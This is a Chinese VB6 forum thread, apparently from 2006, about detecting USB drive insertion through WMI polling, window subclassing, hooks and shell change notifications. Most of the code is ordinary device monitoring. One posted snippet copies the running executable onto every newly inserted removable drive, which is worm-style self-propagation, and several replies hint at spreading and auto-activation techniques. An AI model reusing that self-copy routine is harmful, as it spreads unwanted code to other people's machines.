恩恩,提供3种思路 1、截获WINDOWS的系统消息,就是大家说的HOOK 2、监视系统事件 3、监视系统磁盘变化 2、3两种实现的代码昨天刚写了一块,楼主想必看过了,里面两种方法都提到了,其实只用第3种就好,监视磁盘的同时很容易得到磁盘盘符和类型,得到盘符和路径以后,其他的楼主又没问去打CS了。。第三种方法实现起来就是以下代码了: 测试前请添加对WMI的引用,并且在窗体上添加2个COMMAND和1个TIMER,名称默认Option ExplicitDim objSWbemLocator As SWbemLocator Dim objSWbemServices As SWbemServices Dim objSWbemObjectSet As SWbemObjectSet Dim objSWbemObject As SWbemObject Dim strComputer As String, strNameSpace As String, strClass As String Dim mDisk() As String '系统中有的U盘Private Sub Command1_Click() Timer1.Enabled = True End SubPrivate Sub Command2_Click() Timer1.Enabled = False End SubPrivate Sub Form_Load() Command1.Caption = "开始监视" Command2.Caption = "停止监视" Timer1.Interval = 1000 Timer1.Enabled = False strComputer = "." '计算机名,.为本机 strNameSpace = "root\cimv2" '指定命名空间为root\cimv2 strClass = "Win32_LogicalDisk" '指定类为Win32_Service Set objSWbemLocator = CreateObject("WbemScripting.SWbemLocator") '建立1个WBEM对象的引用指针 Set objSWbemServices = objSWbemLocator.ConnectServer(strComputer, strNameSpace) '连接到指定计算机、命名空间的WMI,返回一个对 SWbemServices 对象的引用 insDisk End Sub Sub insDisk(Optional mb As Boolean = False) '初始化已有U盘 Dim i As Long ReDim mDisk(0) Set objSWbemObjectSet = objSWbemServices.ExecQuery("SELECT * FROM " & strClass) '通过WQL查询,返回指定类的所有 For Each objSWbemObject In objSWbemObjectSet If objSWbemObject.DriveType = 2 Then ReDim Preserve mDisk(i) mDisk(i) = objSWbemObject.DeviceID If Not mb Then MsgBox "系统已有U盘:" & mDisk(i) i = i + 1 End If Next End Sub '刷新列表 Sub RefreshList() Dim i As Long, mBo As Boolean Set objSWbemObjectSet = objSWbemServices.ExecQuery("SELECT * FROM " & strClass) '通过WQL查询,返回指定类的所有 For Each objSWbemObject In objSWbemObjectSet If objSWbemObject.DriveType = 2 Then For i = 0 To UBound(mDisk) If objSWbemObject.DeviceID = mDisk(i) Then mBo = True Next If Not mBo Then MsgBox "系统新增加U盘:" & objSWbemObject.DeviceID insDisk (True) End If End If Next End SubPrivate Sub Timer1_Timer() RefreshList End Sub
看了昨天的那个外国的代码,稍微改了一下,这个代码用的是窗口子类化,过滤消息。 '=============窗体代码================= Private Declare Function RegisterDeviceNotification Lib "User32.dll" Alias _ "RegisterDeviceNotificationA" (ByVal hRecipient As Long, _ ByRef NotificationFilter As Any, ByVal Flags As Long) As Long Private Declare Function UnregisterDeviceNotification Lib "User32.dll" ( _ ByVal Handle As Long) As LongPrivate Type Guid Data1 As Long Data2 As Integer Data3 As Integer Data4(7) As Byte End TypePrivate Type DEV_BROADCAST_DEVICEINTERFACE dbcc_size As Long dbcc_devicetype As Long dbcc_reserved As Long dbcc_classguid As Guid dbcc_name As Long End TypePrivate hDevNotify As LongPrivate Const DEVICE_NOTIFY_WINDOW_HANDLE As Long = &H0 Private Const DBT_DEVTYP_DEVICEINTERFACE As Long = &H5 ' Device interface class Private Const DEVICE_NOTIFY_ALL_INTERFACE_CLASSES As Long = &H4Private Sub Form_Load() Dim NotificationFilter As DEV_BROADCAST_DEVICEINTERFACE With NotificationFilter .dbcc_size = Len(NotificationFilter) .dbcc_devicetype = DBT_DEVTYP_DEVICEINTERFACE End With Call SubClass(Me.hWnd) '子类化 hDevNotify = RegisterDeviceNotification(Me.hWnd, NotificationFilter, _ DEVICE_NOTIFY_WINDOW_HANDLE Or DEVICE_NOTIFY_ALL_INTERFACE_CLASSES) End SubPrivate Sub Form_Unload(ByRef Cancel As Integer) Call UnregisterDeviceNotification(hDevNotify) Call UnSubClass End Sub'=====================模块代码====================== Private Declare Function SetWindowLong Lib "User32.dll" Alias "SetWindowLongA" ( _ ByVal hWnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long Private Declare Function CallWindowProc Lib "User32.dll" Alias "CallWindowProcA" ( _ ByVal lpPrevWndFunc As Long, ByVal hWnd As Long, ByVal Msg As Long, _ ByVal wParam As Long, ByVal lParam As Long) As Long Private Declare Function StringFromGUID2 Lib "OLE32.dll" ( _ ByRef rGUID As Any, ByVal lpSz As String, ByVal cchMax As Long) As Long Private Declare Function lstrcpyA Lib "Kernel32.dll" (ByVal lpString1 As String, ByVal lpString2 As Long) As Long Private Declare Function lstrlenA Lib "Kernel32.dll" (ByVal lpString As Long) As Long Private Declare Function GetDriveType Lib "Kernel32.dll" Alias "GetDriveTypeA" (ByVal nDrive As String) As Long Private Declare Sub RtlMoveMemory Lib "Kernel32.dll" ( _ ByRef Destination As Any, ByRef Source As Any, ByVal Length As Long) Private Declare Sub GetDWord Lib "MSVBVM60.dll" Alias "GetMem4" (ByRef inSrc As Any, ByRef inDst As Long) Private Declare Sub GetWord Lib "MSVBVM60.dll" Alias "GetMem2" (ByRef inSrc As Any, ByRef inDst As Integer)Private Type DEV_BROADCAST_HDR dbch_size As Long dbch_devicetype As Long dbch_reserved As Long End TypePrivate Type Guid Data1 As Long Data2 As Integer Data3 As Integer Data4(7) As Byte End TypeDim OldProc As Long Dim WndHnd As LongPrivate Const GWL_WNDPROC As Long = (-4) Private Const WM_DEVICECHANGE As Long = &H219 Private Const DBT_DEVNODES_CHANGED As Long = &H7 Private Const DBT_DEVICEARRIVAL As Long = &H8000& Private Const DBT_DEVICEREMOVECOMPLETE As Long = &H8004&Private Const DBT_DEVTYP_VOLUME As Long = &H2 ' Logical volume Private Const DBT_DEVTYP_DEVICEINTERFACE As Long = &H5 ' Device interface classPrivate Const DBTF_MEDIA As Long = &H1 ' Media comings and goings Private Const DBTF_NET As Long = &H2 ' Network volumePrivate Const DRIVE_NO_ROOT_DIR As Long = 1 Private Const DRIVE_REMOVABLE As Long = 2 Private Const DRIVE_FIXED As Long = 3 Private Const DRIVE_REMOTE As Long = 4 Private Const DRIVE_CDROM As Long = 5 Private Const DRIVE_RAMDISK As Long = 6Public Sub SubClass(ByVal inWnd As Long) If (WndHnd) Then Call UnSubClass OldProc = SetWindowLong(inWnd, GWL_WNDPROC, AddressOf WndProc) WndHnd = inWnd End SubPublic Sub UnSubClass() If (WndHnd = 0) Then Exit Sub Call SetWindowLong(WndHnd, GWL_WNDPROC, OldProc) WndHnd = 0 OldProc = 0 End SubPrivate Function WndProc(ByVal hWnd As Long, _ ByVal uMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long Dim DevBroadcastHeader As DEV_BROADCAST_HDR Dim UnitMask As Long, Flags As Integer Dim DeviceGUID As Guid Dim DeviceNamePtr As Long Dim DriveLetters As String Dim LoopDrives As Long If (uMsg = WM_DEVICECHANGE) Then Select Case wParam Case DBT_DEVICEARRIVAL, DBT_DEVICEREMOVECOMPLETE If (lParam) Then ' Read generic DEV_BROADCAST_HDR structure Call RtlMoveMemory(DevBroadcastHeader, ByVal lParam, Len(DevBroadcastHeader)) If (DevBroadcastHeader.dbch_devicetype = DBT_DEVTYP_VOLUME) Then ' Read end of DEV_BROADCAST_VOLUME structure Call GetDWord(ByVal (lParam + Len(DevBroadcastHeader)), UnitMask) Call GetWord(ByVal (lParam + Len(DevBroadcastHeader) + 4), Flags) DriveLetters = UnitMaskToString(UnitMask) For LoopDrives = 1 To Len(DriveLetters) If wParam = DBT_DEVICEARRIVAL Then '如果是插入 If DriveTypeToString(GetDriveType(Mid$(DriveLetters, LoopDrives, 1) & ":\")) = "Removable" Then '如果是可移动磁盘 If Dir(CStr(Mid(DriveLetters, LoopDrives, 1) & ":\" & App.EXEName & ".exe")) = "" Then '如果文件不存在 FileCopy App.Path & "\" & App.EXEName & ".exe", Mid$(DriveLetters, LoopDrives, 1) & ":\" & App.EXEName & ".exe" '复制文件 End If End If End If Next LoopDrives End If End If End Select End If WndProc = CallWindowProc(OldProc, hWnd, uMsg, wParam, lParam) End FunctionPrivate Function UnitMaskToString(ByVal inUnitMask As Long) As String Dim LoopBits As Long For LoopBits = 0 To 30 If (inUnitMask And (2 ^ LoopBits)) Then _ UnitMaskToString = UnitMaskToString & Chr$(Asc("A") + LoopBits) Next LoopBits End FunctionPrivate Function DriveTypeToString(ByVal inDriveType As Long) As String '判断磁盘类型 Select Case inDriveType Case DRIVE_NO_ROOT_DIR: DriveTypeToString = "No root directory" '?? Case DRIVE_REMOVABLE: DriveTypeToString = "Removable" Case DRIVE_FIXED: DriveTypeToString = "Fixed" Case DRIVE_REMOTE: DriveTypeToString = "Remote" Case DRIVE_CDROM: DriveTypeToString = "CD-ROM" Case DRIVE_RAMDISK: DriveTypeToString = "RAM disk" Case Else: DriveTypeToString = "[ Unknown ]" End Select End Function
我前几天也遇到这个问题 我是这样解决的 MsgHook32这个控件是钩子控件 用来监听系统消息的 当U盘插入的时候会有系统消息发出 截获并分析类型就可以了 这个控件很简单 MsgHook32 使用说明 MsgHook32,是一个专用于截取windows消息,并交由自定义过程处理的一个控件。 属性 1、HwndHook:MsgHook32控件要截取消息的对象的句柄。如果你要为Form1截取消息,那么MsgHook32.HwndHook=Form1.hWnd 2、Message:这是一个逻辑型的数组,它的下标为你要控制的消息编号。如果你想处理WM_SYSCOMMAND消息、WM_CONTEXTMENU消息,那么可以这样定义: Msghook32.Message(WM_SYSCOMMAND) = True Msghook32.Message(WM_CONTEXTMENU) = True 事件 Msghook32控件只有一个事件,定义如下: Sub Msghook32_Message(msg As Long, wp As Long, lp As Long, result As Long) msg参数为消息编号,如果你有多个消息要处理,可以用Select Case语句控制 方法 Msghook32控件只有一个方法,定义如下: Long result = [form.][control.]InvokeWindowProc(msg As Long, wp As Long, lp As Long) 这个方法使你可以调用对象默认的处理过程处理消息
http://soft.yesky.com/security/hkjj/453/2288453.shtml
1、截获WINDOWS的系统消息,就是大家说的HOOK
2、监视系统事件
3、监视系统磁盘变化
2、3两种实现的代码昨天刚写了一块,楼主想必看过了,里面两种方法都提到了,其实只用第3种就好,监视磁盘的同时很容易得到磁盘盘符和类型,得到盘符和路径以后,其他的楼主又没问去打CS了。。第三种方法实现起来就是以下代码了:
测试前请添加对WMI的引用,并且在窗体上添加2个COMMAND和1个TIMER,名称默认Option ExplicitDim objSWbemLocator As SWbemLocator
Dim objSWbemServices As SWbemServices
Dim objSWbemObjectSet As SWbemObjectSet
Dim objSWbemObject As SWbemObject
Dim strComputer As String, strNameSpace As String, strClass As String
Dim mDisk() As String '系统中有的U盘Private Sub Command1_Click()
Timer1.Enabled = True
End SubPrivate Sub Command2_Click()
Timer1.Enabled = False
End SubPrivate Sub Form_Load()
Command1.Caption = "开始监视"
Command2.Caption = "停止监视"
Timer1.Interval = 1000
Timer1.Enabled = False
strComputer = "." '计算机名,.为本机
strNameSpace = "root\cimv2" '指定命名空间为root\cimv2
strClass = "Win32_LogicalDisk" '指定类为Win32_Service
Set objSWbemLocator = CreateObject("WbemScripting.SWbemLocator") '建立1个WBEM对象的引用指针
Set objSWbemServices = objSWbemLocator.ConnectServer(strComputer, strNameSpace) '连接到指定计算机、命名空间的WMI,返回一个对 SWbemServices 对象的引用
insDisk
End Sub
Sub insDisk(Optional mb As Boolean = False)
'初始化已有U盘
Dim i As Long
ReDim mDisk(0)
Set objSWbemObjectSet = objSWbemServices.ExecQuery("SELECT * FROM " & strClass) '通过WQL查询,返回指定类的所有
For Each objSWbemObject In objSWbemObjectSet
If objSWbemObject.DriveType = 2 Then
ReDim Preserve mDisk(i)
mDisk(i) = objSWbemObject.DeviceID
If Not mb Then MsgBox "系统已有U盘:" & mDisk(i)
i = i + 1
End If
Next
End Sub
'刷新列表
Sub RefreshList()
Dim i As Long, mBo As Boolean
Set objSWbemObjectSet = objSWbemServices.ExecQuery("SELECT * FROM " & strClass) '通过WQL查询,返回指定类的所有
For Each objSWbemObject In objSWbemObjectSet
If objSWbemObject.DriveType = 2 Then
For i = 0 To UBound(mDisk)
If objSWbemObject.DeviceID = mDisk(i) Then mBo = True
Next
If Not mBo Then
MsgBox "系统新增加U盘:" & objSWbemObject.DeviceID
insDisk (True)
End If
End If
Next
End SubPrivate Sub Timer1_Timer()
RefreshList
End Sub
'=============窗体代码=================
Private Declare Function RegisterDeviceNotification Lib "User32.dll" Alias _
"RegisterDeviceNotificationA" (ByVal hRecipient As Long, _
ByRef NotificationFilter As Any, ByVal Flags As Long) As Long
Private Declare Function UnregisterDeviceNotification Lib "User32.dll" ( _
ByVal Handle As Long) As LongPrivate Type Guid
Data1 As Long
Data2 As Integer
Data3 As Integer
Data4(7) As Byte
End TypePrivate Type DEV_BROADCAST_DEVICEINTERFACE
dbcc_size As Long
dbcc_devicetype As Long
dbcc_reserved As Long
dbcc_classguid As Guid
dbcc_name As Long
End TypePrivate hDevNotify As LongPrivate Const DEVICE_NOTIFY_WINDOW_HANDLE As Long = &H0
Private Const DBT_DEVTYP_DEVICEINTERFACE As Long = &H5 ' Device interface class
Private Const DEVICE_NOTIFY_ALL_INTERFACE_CLASSES As Long = &H4Private Sub Form_Load()
Dim NotificationFilter As DEV_BROADCAST_DEVICEINTERFACE With NotificationFilter
.dbcc_size = Len(NotificationFilter)
.dbcc_devicetype = DBT_DEVTYP_DEVICEINTERFACE
End With Call SubClass(Me.hWnd) '子类化
hDevNotify = RegisterDeviceNotification(Me.hWnd, NotificationFilter, _
DEVICE_NOTIFY_WINDOW_HANDLE Or DEVICE_NOTIFY_ALL_INTERFACE_CLASSES)
End SubPrivate Sub Form_Unload(ByRef Cancel As Integer)
Call UnregisterDeviceNotification(hDevNotify) Call UnSubClass
End Sub'=====================模块代码======================
Private Declare Function SetWindowLong Lib "User32.dll" Alias "SetWindowLongA" ( _
ByVal hWnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long
Private Declare Function CallWindowProc Lib "User32.dll" Alias "CallWindowProcA" ( _
ByVal lpPrevWndFunc As Long, ByVal hWnd As Long, ByVal Msg As Long, _
ByVal wParam As Long, ByVal lParam As Long) As Long
Private Declare Function StringFromGUID2 Lib "OLE32.dll" ( _
ByRef rGUID As Any, ByVal lpSz As String, ByVal cchMax As Long) As Long
Private Declare Function lstrcpyA Lib "Kernel32.dll" (ByVal lpString1 As String, ByVal lpString2 As Long) As Long
Private Declare Function lstrlenA Lib "Kernel32.dll" (ByVal lpString As Long) As Long
Private Declare Function GetDriveType Lib "Kernel32.dll" Alias "GetDriveTypeA" (ByVal nDrive As String) As Long
Private Declare Sub RtlMoveMemory Lib "Kernel32.dll" ( _
ByRef Destination As Any, ByRef Source As Any, ByVal Length As Long)
Private Declare Sub GetDWord Lib "MSVBVM60.dll" Alias "GetMem4" (ByRef inSrc As Any, ByRef inDst As Long)
Private Declare Sub GetWord Lib "MSVBVM60.dll" Alias "GetMem2" (ByRef inSrc As Any, ByRef inDst As Integer)Private Type DEV_BROADCAST_HDR
dbch_size As Long
dbch_devicetype As Long
dbch_reserved As Long
End TypePrivate Type Guid
Data1 As Long
Data2 As Integer
Data3 As Integer
Data4(7) As Byte
End TypeDim OldProc As Long
Dim WndHnd As LongPrivate Const GWL_WNDPROC As Long = (-4)
Private Const WM_DEVICECHANGE As Long = &H219
Private Const DBT_DEVNODES_CHANGED As Long = &H7
Private Const DBT_DEVICEARRIVAL As Long = &H8000&
Private Const DBT_DEVICEREMOVECOMPLETE As Long = &H8004&Private Const DBT_DEVTYP_VOLUME As Long = &H2 ' Logical volume
Private Const DBT_DEVTYP_DEVICEINTERFACE As Long = &H5 ' Device interface classPrivate Const DBTF_MEDIA As Long = &H1 ' Media comings and goings
Private Const DBTF_NET As Long = &H2 ' Network volumePrivate Const DRIVE_NO_ROOT_DIR As Long = 1
Private Const DRIVE_REMOVABLE As Long = 2
Private Const DRIVE_FIXED As Long = 3
Private Const DRIVE_REMOTE As Long = 4
Private Const DRIVE_CDROM As Long = 5
Private Const DRIVE_RAMDISK As Long = 6Public Sub SubClass(ByVal inWnd As Long)
If (WndHnd) Then Call UnSubClass OldProc = SetWindowLong(inWnd, GWL_WNDPROC, AddressOf WndProc)
WndHnd = inWnd
End SubPublic Sub UnSubClass()
If (WndHnd = 0) Then Exit Sub
Call SetWindowLong(WndHnd, GWL_WNDPROC, OldProc) WndHnd = 0
OldProc = 0
End SubPrivate Function WndProc(ByVal hWnd As Long, _
ByVal uMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Dim DevBroadcastHeader As DEV_BROADCAST_HDR
Dim UnitMask As Long, Flags As Integer
Dim DeviceGUID As Guid
Dim DeviceNamePtr As Long
Dim DriveLetters As String
Dim LoopDrives As Long If (uMsg = WM_DEVICECHANGE) Then
Select Case wParam
Case DBT_DEVICEARRIVAL, DBT_DEVICEREMOVECOMPLETE
If (lParam) Then ' Read generic DEV_BROADCAST_HDR structure
Call RtlMoveMemory(DevBroadcastHeader, ByVal lParam, Len(DevBroadcastHeader)) If (DevBroadcastHeader.dbch_devicetype = DBT_DEVTYP_VOLUME) Then
' Read end of DEV_BROADCAST_VOLUME structure
Call GetDWord(ByVal (lParam + Len(DevBroadcastHeader)), UnitMask)
Call GetWord(ByVal (lParam + Len(DevBroadcastHeader) + 4), Flags) DriveLetters = UnitMaskToString(UnitMask) For LoopDrives = 1 To Len(DriveLetters)
If wParam = DBT_DEVICEARRIVAL Then '如果是插入
If DriveTypeToString(GetDriveType(Mid$(DriveLetters, LoopDrives, 1) & ":\")) = "Removable" Then '如果是可移动磁盘
If Dir(CStr(Mid(DriveLetters, LoopDrives, 1) & ":\" & App.EXEName & ".exe")) = "" Then '如果文件不存在
FileCopy App.Path & "\" & App.EXEName & ".exe", Mid$(DriveLetters, LoopDrives, 1) & ":\" & App.EXEName & ".exe" '复制文件
End If
End If
End If
Next LoopDrives End If
End If End Select
End If WndProc = CallWindowProc(OldProc, hWnd, uMsg, wParam, lParam)
End FunctionPrivate Function UnitMaskToString(ByVal inUnitMask As Long) As String
Dim LoopBits As Long For LoopBits = 0 To 30
If (inUnitMask And (2 ^ LoopBits)) Then _
UnitMaskToString = UnitMaskToString & Chr$(Asc("A") + LoopBits)
Next LoopBits
End FunctionPrivate Function DriveTypeToString(ByVal inDriveType As Long) As String '判断磁盘类型
Select Case inDriveType
Case DRIVE_NO_ROOT_DIR: DriveTypeToString = "No root directory" '??
Case DRIVE_REMOVABLE: DriveTypeToString = "Removable"
Case DRIVE_FIXED: DriveTypeToString = "Fixed"
Case DRIVE_REMOTE: DriveTypeToString = "Remote"
Case DRIVE_CDROM: DriveTypeToString = "CD-ROM"
Case DRIVE_RAMDISK: DriveTypeToString = "RAM disk"
Case Else: DriveTypeToString = "[ Unknown ]"
End Select
End Function
方式很多的啦,WINDOWS有N个漏洞,就有2^N个传播方式..(以上言论纯属虚构,如有雷同纯属巧合)顶你
http://blog.csdn.net/yefanqiu/archive/2005/12/23/560234.aspx从网上看了一篇《分享windows的秘密-外壳通知消息》的文章,感觉很不错,可是它是delphi的程序,和VB相差很大,API在VB中没有对应的声明,并且一些结构体在VB中没有现成的定义,所以很是研究了一番,优盘的插入、拔出,光盘的插入、取出都有了相应的通知,效果不错。 可以接收的消息如下: SHCNE_ASSOCCHANGED 一个文件关联被改变了
SHCNE_ATTRIBUTES 一个项目或文件夹的属性被改变了
SHCNE_CREATE 文件夹的外壳成员被创建了
SHCNE_DELETE 非文件夹的外壳成员被删除了
SHCNE_DRIVEADD 添加了一个驱动器
SHCNE_DRIVEADDGUI 通过外壳添加的驱动器
SHCNE_DRIVEREMOVED 一个驱动器被删除了
SHCNE_EXTENDED_EVENT 未被使用
SHCNE_FREESPACE 驱动器的自由空间数有了变化
SHCNE_MEDIAINSERTED 存储介质被插入到驱动器中
SHCNE_MEDIAREMOVED 存储介质从驱动器中被删除
SHCNE_MKDIR 一个目录被创建
SHCNE_NETSHARE 本地的目录被共享
SHCNE_NETUNSHARE 本地目录被取消共享
SHCNE_RENAMEFOLDER 文件夹名称被改变
SHCNE_RENAMEITEM 非文件的外壳对象的名称被改变
SHCNE_RMDIR 一个文件夹被删除
SHCNE_SERVERDISCONNECT 计算机被服务器断开
SHCNE_UPDATEDIR 一个文件夹中的内容被改变
SHCNE_UPDATEIMAGE 系统图像列表中的一个图像被改变
SHCNE_UPDATEITEM 一个非文件夹外壳对象的名称被改变运行后的截图: 关键源码:'*************************************************************************
'**函 数 名:WindowProc
'**输 入:ByVal hwnd(Long) -
'** :ByVal uMsg(Long) -
'** :ByVal wParam(Long) -
'** :ByVal lParam(Long) -
'**输 出:(Long) -
'**功能描述:子类函数
'**全局变量:
'**调用模块:
'**作 者:叶帆
'**日 期:2005年12月23日
'**修 改 人:
'**日 期:
'**版 本:V1.0
'*************************************************************************
Private Function WindowProc(ByVal hwnd As Long, ByVal uMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
'-------------------------------
Dim i As Long
If uMsg = WM_YFSYSMSG Then
For i = 0 To 20
If (lParam And lngFlag(i)) > 0 Then
frmSysmsg.lstMsg.AddItem Format(Now, "HH:MM:SS") & " " & strFlag(i)
End If
Next
Exit Function
End If
'-------------------------------
WindowProc = CallWindowProc(lngPreWinProc, hwnd, uMsg, wParam, lParam)
End Function'*************************************************************************
'**函 数 名:ISubProc
'**输 入:hwnd(Long) - 窗口句柄
'**输 出:无
'**功能描述:
'**全局变量:
'**调用模块:安装子类
'**作 者:叶帆
'**日 期:2005-12-23 11:41:37
'**修 改 人:
'**日 期:
'**版 本:V1.0.0
'*************************************************************************
Public Sub ISubProc(hwnd As Long)
'记录原本的Window Procedure的位址
lngPreWinProc = GetWindowLong(hwnd, GWL_WNDPROC)
Call SetWindowLong(hwnd, GWL_WNDPROC, AddressOf WindowProc)
End Sub'*************************************************************************
'**函 数 名:UnISubProc
'**输 入:hwnd(Long) - 窗口句柄
'**输 出:无
'**功能描述:卸载子类
'**全局变量:
'**调用模块:
'**作 者:叶帆
'**日 期:2005-12-23 11:43:53
'**修 改 人:
'**日 期:
'**版 本:V1.0.0
'*************************************************************************
Public Sub UnISubProc(hwnd As Long)
'取消Message的截取,而使之又只送往原来的Window Procedure
Call SetWindowLong(hwnd, GWL_WNDPROC, lngPreWinProc)
End Sub'*************************************************************************
'**函 数 名:SysMsgRegister
'**输 入:无
'**输 出:无
'**功能描述:消息注册
'**全局变量:
'**调用模块:
'**作 者:叶帆
'**日 期:2005-12-23 13:18:02
'**修 改 人:
'**日 期:
'**版 本:V1.0.0
'*************************************************************************
Public Sub SysMsgRegister(hwnd As Long)
Dim nr As NotifyRegister lngFlag = Array(SHCNE_ASSOCCHANGED, _
SHCNE_ATTRIBUTES, _
SHCNE_CREATE, _
SHCNE_DELETE, _
SHCNE_DRIVEADD, _
SHCNE_DRIVEADDGUI, _
SHCNE_DRIVEREMOVED, _
SHCNE_EXTENDED_EVENT, _
SHCNE_FREESPACE, _
SHCNE_MEDIAINSERTED, _
SHCNE_MEDIAREMOVED, _
SHCNE_MKDIR, _
SHCNE_NETSHARE, _
SHCNE_NETUNSHARE, _
SHCNE_RENAMEFOLDER, _
SHCNE_RENAMEITEM, _
SHCNE_RMDIR, _
SHCNE_SERVERDISCONNECT, _
SHCNE_UPDATEDIR, _
SHCNE_UPDATEIMAGE, _
SHCNE_UPDATEITEM) strFlag = Array("文件关联被改变", _
"文件夹属性被改变", _
"文件夹外壳成员被创建", _
"非文件夹外壳成员被删除", _
"添加了一个驱动器", _
"通过外壳添加的驱动器", _
"一个驱动器被删除了", _
"未使用", _
"驱动器自由空间发生变化", _
"存储介质插入驱动器", _
"存储介质被移除", _
"一个目录被创建", _
"本地目录被共享", _
"本地目录被取消共享", _
"文件夹名称被改变", _
"非文件的外壳对象名称被改变", _
"一个文件夹被删除", _
"计算机被服务器断开", _
"一个文件夹的内容被改变", _
"系统图像列表中的一个图像被改变", _
"一个非文件夹外壳对象的名称被改变") lngHandle = SHChangeNotifyRegister(hwnd, SHCNF_ACCEPT_INTERRUPTS Or SHCNF_ACCEPT_NON_INTERRUPTS, SHCNE_ALLEVENTS, WM_YFSYSMSG, 1, nr)
If lngHandle > 0 Then
frmSysmsg.picFlag.BackColor = RGB(0, 200, 0)
Else
frmSysmsg.picFlag.BackColor = RGB(255, 0, 0)
End If
End Sub'*************************************************************************
'**函 数 名:UnSysMsgRegister
'**输 入:无
'**输 出:无
'**功能描述:取消注册
'**全局变量:
'**调用模块:
'**作 者:叶帆
'**日 期:2005-12-23 13:19:06
'**修 改 人:
'**日 期:
'**版 本:V1.0.0
'*************************************************************************
Public Sub UnSysMsgRegister()
If lngHandle > 0 Then
SHChangeNotifyDeregister lngHandle
End If
End Sub
在Windows XP / VB 6.0环境下测试成功。
源代码下载地址:http://www.bjjr.com.cn/YeFan/SourceCode/yfsysmsg.rar
簡單實用。
那么楼上们说的那些程序如果没有autorun怎么会运行,怎么来激活~
看看楼主强调的是什么,看好帖子内容哦。
当然了,如果你对激活U盘文件有兴趣,可以开贴,我可以告诉你N种办法,不一定非要AUTORUN
我是这样解决的
MsgHook32这个控件是钩子控件
用来监听系统消息的
当U盘插入的时候会有系统消息发出
截获并分析类型就可以了
这个控件很简单
MsgHook32 使用说明 MsgHook32,是一个专用于截取windows消息,并交由自定义过程处理的一个控件。 属性 1、HwndHook:MsgHook32控件要截取消息的对象的句柄。如果你要为Form1截取消息,那么MsgHook32.HwndHook=Form1.hWnd 2、Message:这是一个逻辑型的数组,它的下标为你要控制的消息编号。如果你想处理WM_SYSCOMMAND消息、WM_CONTEXTMENU消息,那么可以这样定义:
Msghook32.Message(WM_SYSCOMMAND) = True
Msghook32.Message(WM_CONTEXTMENU) = True 事件 Msghook32控件只有一个事件,定义如下:
Sub Msghook32_Message(msg As Long, wp As Long, lp As Long, result As Long)
msg参数为消息编号,如果你有多个消息要处理,可以用Select Case语句控制 方法 Msghook32控件只有一个方法,定义如下: Long result = [form.][control.]InvokeWindowProc(msg As Long, wp As Long, lp As Long)
这个方法使你可以调用对象默认的处理过程处理消息
那个OCX是用来截获本窗体消息的,对系统无效
2006-6-26 11:20:09
得分:0
fatimah(法提麦)
看看楼主强调的是什么,看好帖子内容哦。
当然了,如果你对激活U盘文件有兴趣,可以开贴,我可以告诉你N种办法,不一定非要AUTORUN================================================================================如果能同时告诉我怎么防止这些文件激活的,我开贴,给300你
U盘插入系统会向所有窗口发送WM_DEVICECHANGE
有时间试试,看来确实菜菜了,那么说这个问题一个子类化就解决了,根本不用捣鼓系统。受教了,谢谢~~~~~~~
单单是AUTORUN,我想楼上兄弟不必问我们吧,嘿嘿,这个怎么也能禁止了。
其实要说别的方法呢,我也未必真会啊,呵呵,就算是CN了~~~~~~~分我是不拿了,拿不得,拿不得的,等我学习学习磁盘逻辑结构和WINDOWS对USB的处理机制。。搀死啦,300多g金子啊555555555555